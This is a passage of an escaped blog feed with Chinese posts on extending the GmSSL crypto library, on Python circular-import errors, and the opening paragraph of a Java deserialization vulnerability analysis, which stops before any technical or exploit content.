class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;my $crypto =&amp;quot;include/openssl/crypto.h&amp;quot;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;$crypto.=&amp;quot; include/internal/o_dir.h&amp;quot;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;$crypto.=&amp;quot; include/internal/new_header.h&amp;quot;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;##修改 Configure 文件&lt;/p&gt;

&lt;p&gt;修改 Configure 文件，将密码算法添加到编译系统中。&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;$config&amp;#123;sdirs&amp;#125; = [&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;quot;objects&amp;quot;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;quot;md2&amp;quot;, &amp;quot;md4&amp;quot;, &amp;quot;md5&amp;quot;, &amp;quot;sha&amp;quot;, &amp;quot;mdc2&amp;quot;, &amp;quot;hmac&amp;quot;, &amp;quot;ripemd&amp;quot;, &amp;quot;whrlpool&amp;quot;, &amp;quot;poly1305&amp;quot;, &amp;quot;blake2&amp;quot;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;quot;des&amp;quot;, &amp;quot;aes&amp;quot;, &amp;quot;rc2&amp;quot;, &amp;quot;rc4&amp;quot;, &amp;quot;rc5&amp;quot;, &amp;quot;idea&amp;quot;, &amp;quot;bf&amp;quot;, &amp;quot;cast&amp;quot;, &amp;quot;camellia&amp;quot;, &amp;quot;seed&amp;quot;, &amp;quot;chacha&amp;quot;, &amp;quot;modes&amp;quot;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;quot;bn&amp;quot;, &amp;quot;ec&amp;quot;, &amp;quot;rsa&amp;quot;, &amp;quot;dsa&amp;quot;, &amp;quot;dh&amp;quot;, &amp;quot;dso&amp;quot;, &amp;quot;engine&amp;quot;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;quot;buffer&amp;quot;, &amp;quot;bio&amp;quot;, &amp;quot;stack&amp;quot;, &amp;quot;lhash&amp;quot;, &amp;quot;rand&amp;quot;, &amp;quot;err&amp;quot;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;quot;evp&amp;quot;, &amp;quot;asn1&amp;quot;, &amp;quot;pem&amp;quot;, &amp;quot;x509&amp;quot;, &amp;quot;x509v3&amp;quot;, &amp;quot;conf&amp;quot;, &amp;quot;txt_db&amp;quot;, &amp;quot;pkcs7&amp;quot;, &amp;quot;pkcs12&amp;quot;, &amp;quot;comp&amp;quot;, &amp;quot;ocsp&amp;quot;, &amp;quot;ui&amp;quot;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;quot;cms&amp;quot;, &amp;quot;ts&amp;quot;, &amp;quot;srp&amp;quot;, &amp;quot;cmac&amp;quot;, &amp;quot;ct&amp;quot;, &amp;quot;async&amp;quot;, &amp;quot;kdf&amp;quot;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;quot;sm3&amp;quot;, &amp;quot;sms4&amp;quot;, &amp;quot;kdf2&amp;quot;, &amp;quot;ecies&amp;quot;, &amp;quot;ffx&amp;quot;, &amp;quot;sm2&amp;quot;, &amp;quot;paillier&amp;quot;, &amp;quot;cpk&amp;quot;, &amp;quot;otp&amp;quot;, &amp;quot;gmapi&amp;quot;, &amp;quot;ec2&amp;quot;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;quot;bfibe&amp;quot;, &amp;quot;bb1ibe&amp;quot;, &amp;quot;sm9&amp;quot;, &amp;quot;saf&amp;quot;, &amp;quot;sdf&amp;quot;, &amp;quot;skf&amp;quot;, &amp;quot;sof&amp;quot;, &amp;quot;zuc&amp;quot;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;quot;serpent&amp;quot;, &amp;quot;speck&amp;quot;, &amp;quot;base58&amp;quot;,&amp;quot;new_crypto&amp;quot;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; ];&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;h2 id=&quot;更新符号文件&quot;&gt;&lt;a href=&quot;#更新符号文件&quot; class=&quot;headerlink&quot; title=&quot;更新符号文件&quot;&gt;&lt;/a&gt;更新符号文件&lt;/h2&gt;&lt;p&gt;运行如下指令，就会将新定义的密码算法和 SSL 算法中新增的函数添加到符号文件中。&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;make update&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

</content>

<summary type="html">

&lt;p&gt;最近在做的工作需要给 GMSSL 密码库添加自有的加密算法和 ssl 算法。因此对 GMSSL 做了一些研究，GMSSL 是 OpenSSL 的 一个分支，它增加了包括 SM2、SM3、SM4在内的国密算法，以及国密的 SSL 加密信道，加密套件为 ECDSA-SM2-SM3-SM4。&lt;/p&gt;

&lt;h2 id=&quot;增加算法头文件&quot;&gt;&lt;a href=&quot;#增加算法头文件&quot; class=&quot;headerlink&quot; title=&quot;增加算法头文件&quot;&gt;&lt;/a&gt;增加算法头文件&lt;/h2&gt;&lt;p&gt;算法头文件中包括了我们需要添加的加密算法和 ssl 算法。&lt;/p&gt;

&lt;p&gt;具体需要在include/openssl 目录下新建文件 new_header.h&lt;/p&gt;

&lt;p&gt;在 new_header.h 中定义新的加密算法和 ssl 算法。内容大致如下：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;int new_crypto();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;int new_ssl();&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

</summary>

<category term="密码学" scheme="http://32t.github.io/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>

<category term="GmSSl" scheme="http://32t.github.io/tags/GmSSl/"/>

</entry>

<entry>

<title>Python import 问题</title>

<link href="http://32t.github.io/2016/12/05/Python-import-%E9%97%AE%E9%A2%98/"/>

<id>http://32t.github.io/2016/12/05/Python-import-问题/</id>

<published>2016-12-05T04:53:55.000Z</published>

<updated>2016-12-05T05:33:15.000Z</updated>

<content type="html">&lt;p&gt;##Python import 遇到的几个问题&lt;/p&gt;

&lt;p&gt;python 作为一个脚本语言，具有很多优良的特性，笔者最喜欢的大概是他丰富的函数库，同时在工作中自己也会开发一些库来使用，这样就会经常用到 import 功能。譬如我们有如下两个文件：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#bar.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;bar_var=1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#foo.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;from bar import bar_var&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;foo_var=1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;在 foo.py 中我们引入了 bar 中的 bar_var 的变量。下面我们介绍 python 引用的机制及常见的问题。&lt;br&gt;&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;Python-import-机制&quot;&gt;&lt;a href=&quot;#Python-import-机制&quot; class=&quot;headerlink&quot; title=&quot;Python import 机制&quot;&gt;&lt;/a&gt;Python import 机制&lt;/h3&gt;&lt;p&gt;python 在执行import 的时候实际上是将引入的文件执行了一遍，并将对应文件加入了 module 列表中，我们对 foo.py 文件做如下修改：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#foo.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import sys&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;print &amp;quot;BEFORE&amp;quot;,sys.modules.get(&amp;apos;bar&amp;apos;)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;from bar import bar_var&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;print &amp;quot;AFTER&amp;quot;,sys.modules.get(&amp;apos;bar&amp;apos;)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;foo_var = 1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;运行后出现如下结果：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;➜ Python python foo.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;BEFORE None&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;AFTER &amp;lt;module &amp;apos;bar&amp;apos; from &amp;apos;/Users/simon/Development/Python/bar.pyc&amp;apos;&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;我们可以看到，在引入 bar模块之前在模块列表中是没有这个模块的，引用之后就在模块列表中增加了对应的模块名称。&lt;/p&gt;

&lt;p&gt;Python 为了解决循环引用的问题，只要在程序中引用过，之后不会再次引用。我们对 foo.py 文件和 bar.py 文件修改如下：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#bar.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;print &amp;quot;impoted&amp;quot;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;bar_var=1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#foo.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;from bar import bar_var&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;foo_var = 1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;from bar import bar_var&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;执行结果如下：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;➜ Python python foo.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;impoted&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;h3 id=&quot;Python-import-问题&quot;&gt;&lt;a href=&quot;#Python-import-问题&quot; class=&quot;headerlink&quot; title=&quot;Python import 问题&quot;&gt;&lt;/a&gt;Python import 问题&lt;/h3&gt;&lt;p&gt;如果我们将两个文件互相引用会出现什么问题呢？例如 bar.py 和 foo.py 文件如下：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#bar.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;from foo import foo_var&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;bar_var=1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#foo.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;from bar import bar_var&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;foo_var = 1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;如果运行 foo.py 文件会报错如下：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;➜ Python python foo.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;Traceback (most recent call last):&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; File &amp;quot;foo.py&amp;quot;, line 2, in &amp;lt;module&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; from bar import bar_var&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; File &amp;quot;/Users/simon/Development/Python/bar.py&amp;quot;, line 2, in &amp;lt;module&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; from foo import foo_var&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; File &amp;quot;/Users/simon/Development/Python/foo.py&amp;quot;, line 2, in &amp;lt;module&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; from bar import bar_var&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;ImportError: cannot import name bar_var&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;通过异常链我们可以看到在执行 python foo.py 文件的时候程序的运行过程，包括以下几步：&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;foo.py 文件执行到第2行发现需要引用 bar 模块，&lt;/li&gt;

&lt;li&gt;查找 sys.modules 字典发现没有引入对应的模块，则引入 bar.py 文件，并添加到 sys.modules&lt;/li&gt;

&lt;li&gt;bar.py 文件被引入后执行到第2行发现需要引用 foo 模块&lt;/li&gt;

&lt;li&gt;查找 sys.modules 字典发现没有引入对应的模块，则引入 foo.py 文件&lt;/li&gt;

&lt;li&gt;foo.py 文件被引入后执行到第2行发现需要引用 bar 模块&lt;/li&gt;

&lt;li&gt;查找 sys.modules 字典发现已经引入了 bar 模块，则直接将bar 模块中的 bar_var 赋值给当前正在引入的 foo.py 文件&lt;/li&gt;

&lt;li&gt;已经引入的 bar 模块还没有执行到第三行，因此没有 bar_var 这个变量的值，赋值失败，报错&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;如果将文件内容修改为如下代码，则不会出错：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#bar.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;bar_var=1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;from foo import foo_var&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#foo.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;from bar import bar_var&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;foo_var = 1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;运行结果如下：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;➜ Python python foo.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;➜ Python&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;运行流程如下：&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;foo.py 文件执行到第2行发现需要引用 bar 模块，&lt;/li&gt;

&lt;li&gt;查找 sys.modules 字典发现没有引入对应的模块，则引入 bar.py 文件，并添加到 sys.modules&lt;/li&gt;

&lt;li&gt;bar.py 文件被引入后执行到第3行发现需要引用 foo 模块&lt;/li&gt;

&lt;li&gt;查找 sys.modules 字典发现没有引入对应的模块，则引入 foo.py 文件&lt;/li&gt;

&lt;li&gt;foo.py 文件被引入后执行到第2行发现需要引用 bar 模块&lt;/li&gt;

&lt;li&gt;查找 sys.modules 字典发现已经引入了 bar 模块，则直接将bar 模块中的 bar_var 赋值给当前正在引入的 foo.py 文件&lt;/li&gt;

&lt;li&gt;bar 模块中已经执行到了第3行，已经对 bar_var 变量进行了赋值，foo 模块成功引入了 bar_var&lt;/li&gt;

&lt;li&gt;foo模块执行到第3行对 foo_var 进行赋值，返回 bar模块&lt;/li&gt;

&lt;li&gt;返回 foo.py 文件&lt;/li&gt;

&lt;/ol&gt;

</content>

<summary type="html">

&lt;p&gt;##Python import 遇到的几个问题&lt;/p&gt;

&lt;p&gt;python 作为一个脚本语言，具有很多优良的特性，笔者最喜欢的大概是他丰富的函数库，同时在工作中自己也会开发一些库来使用，这样就会经常用到 import 功能。譬如我们有如下两个文件：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#bar.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;bar_var=1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#foo.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;from bar import bar_var&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;foo_var=1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;在 foo.py 中我们引入了 bar 中的 bar_var 的变量。下面我们介绍 python 引用的机制及常见的问题。&lt;br&gt;

</summary>

<category term="python" scheme="http://32t.github.io/tags/python/"/>

<category term="import" scheme="http://32t.github.io/tags/import/"/>

</entry>

<entry>

<title>Python import 问题</title>

<link href="http://32t.github.io/2016/11/01/JAVA-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/"/>

<id>http://32t.github.io/2016/11/01/JAVA-反序列化漏洞利用分析/</id>

<published>2016-11-01T10:25:21.000Z</published>

<updated>2016-12-05T05:34:15.000Z</updated>

<content type="html">&lt;h1 id=&quot;Java-反序列化任意代码执行漏洞分析与利用&quot;&gt;&lt;a href=&quot;#Java-反序列化任意代码执行漏洞分析与利用&quot; class=&quot;headerlink&quot; title=&quot;Java 反序列化任意代码执行漏洞分析与利用&quot;&gt;&lt;/a&gt;Java 反序列化任意代码执行漏洞分析与利用&lt;/h1&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;2015年的1月28号，Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[&lt;a href=&quot;#ref_3&quot;&gt;3&lt;/a&gt;]，报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行。同年11月6日，FoxGlove Security安全团队的@breenmachine在一篇博客中介绍了如何利用Java反序列化漏洞，来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用，实现远程代码执行。&lt;br&gt;距离漏洞发布已经有了一年多的时间，仍然有很多网站仍未修复漏洞。&lt;/p&gt;

